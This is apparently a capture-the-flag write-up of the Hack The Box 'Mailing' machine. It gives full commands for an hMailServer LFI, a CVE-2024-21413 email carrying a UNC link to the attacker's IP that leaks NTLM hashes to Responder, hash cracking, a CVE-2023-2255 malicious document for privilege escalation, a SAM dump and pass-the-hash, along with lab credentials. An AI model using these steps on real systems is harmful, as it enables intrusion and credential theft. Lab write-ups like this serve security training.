Mailing is an Easy Windows machine on HTB that felt more like medium level to me. Big part of solving this machine included user interaction via scheduled task, which was interesting since more CTF machines don’t have this. I gain Administrator hash for mail server through LFI vulnerability. With the Mail Server access as the Admin, I sent out payload email and capture NTLM hash using Responder. For privilege escalation, I exploited outdated libreoffice which allowed me to run commands as the admin.
Information Gathering
Rustscan
Rustscan finds bunch of ports open. This server seems to be running mail server as well.
Enumeration
HTTP - TCP 80
The website shows us Mail Server home page and it is powered by hMailServer.
Some potential usernames can be seen below of the page:
- Ruy Alonso
- Maya Bendito
- Gregory Smith
Feroxbuster finds several interesting paths including download.php:
Instructions.pdf
Instructions.pdf is a file that guides user with Installation and setup:
New IP address is seen and this could be implying pivoting later:
Email address convention can be seen as well: firstname@mailing.htb
Following the email address convention, we will create potential list of usernames:
SMTP - TCP 25
We can list available smtp commands using below but nothing too interesting is seen:
nmap -p25 --script smtp-commands 10.10.11.14
hMailServer LFI
Searching for known vulnerabilities regarding hMailServer, it seems like there is a vulnerability about LFI:
Let’s try testing LFI vulnerability on download.php parameter using Burp Suite intruder:
Several of our payload confirms LFI. (Payloads that is used here can be found on references page below)
Access to Mail Server
LFI
Through some research, it seems that hMailServer.INI contains interesting information about hMailServer.
Let’s take a look at it using the command below:
hMailServer.INI reveals password hashes as such:
Password Cracking
Using crackstation, we can easily crack the password hash for administrator:
administrator:homenetworkingadministrator
Mail Access
Now we can signin to mail server as Administrator using the cracked credentials:
However, this mail server is empty:
It seems like there should be some sort of user interaction to get initial foothold
Shell as maya
Responder
Using this exploit, I can craft email that contains malicious link that will enable attack to grab NTLM hash from it:
python CVE-2024-21413.py --server 10.10.11.14 --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --send administrator@mailing.htb --recipient maya@mailing.htb --url "\\10.10.14.20\test.txt" --subject "blahblah"
After sending malicious email, Responder captures NTLM hash for user maya:
sudo responder -I tun0
NTLM Crack
Using hashcat, we can easily crack NTLM hash:
hashcat -m 5600 maya.hash ~/Downloads/rockyou.txt
Evil-Winrm
Now through evil-winrm, we have shell as maya:
evil-winrm -i 10.10.11.14 -u maya -p m4y4ngs4ri
Privesc: maya to administrator
CVE-2023-2255
Enumerating the file system, we can see that LibreOffice 7.4 is installed on this server:
From some research, it seems that LibreOffice 7.4 is vulnerable to CVE-2023-2055
We can use this payload to create malicious .odt file that will add user maya to Administrator group:
python3 CVE-2023-2255.py --cmd 'net localgroup Administradores maya /add' --output 'exploit.odt'
Let’s upload created exploit.odt to Important Documents folder where there is scheduled tasks for user interaction:
Check user group using net user maya
, now maya is in Administrators group:
Dump SAM Hash
Since Maya is in the administrators group now, let’s dump SAM using crackmapexec:
crackmapexec smb 10.10.11.14 -u maya -p "m4y4ngs4ri" --sam
Using evil-winrm and localadmin password hash, we can grab root.txt:
evil-winrm -i 10.10.11.14 -u localadmin -H 9aa582783780d1546d62f2d102daefae
References
- https://www.exploit-db.com/exploits/7012
- https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability?tab=readme-ov-file
- https://github.com/elweth-sec/CVE-2023-2255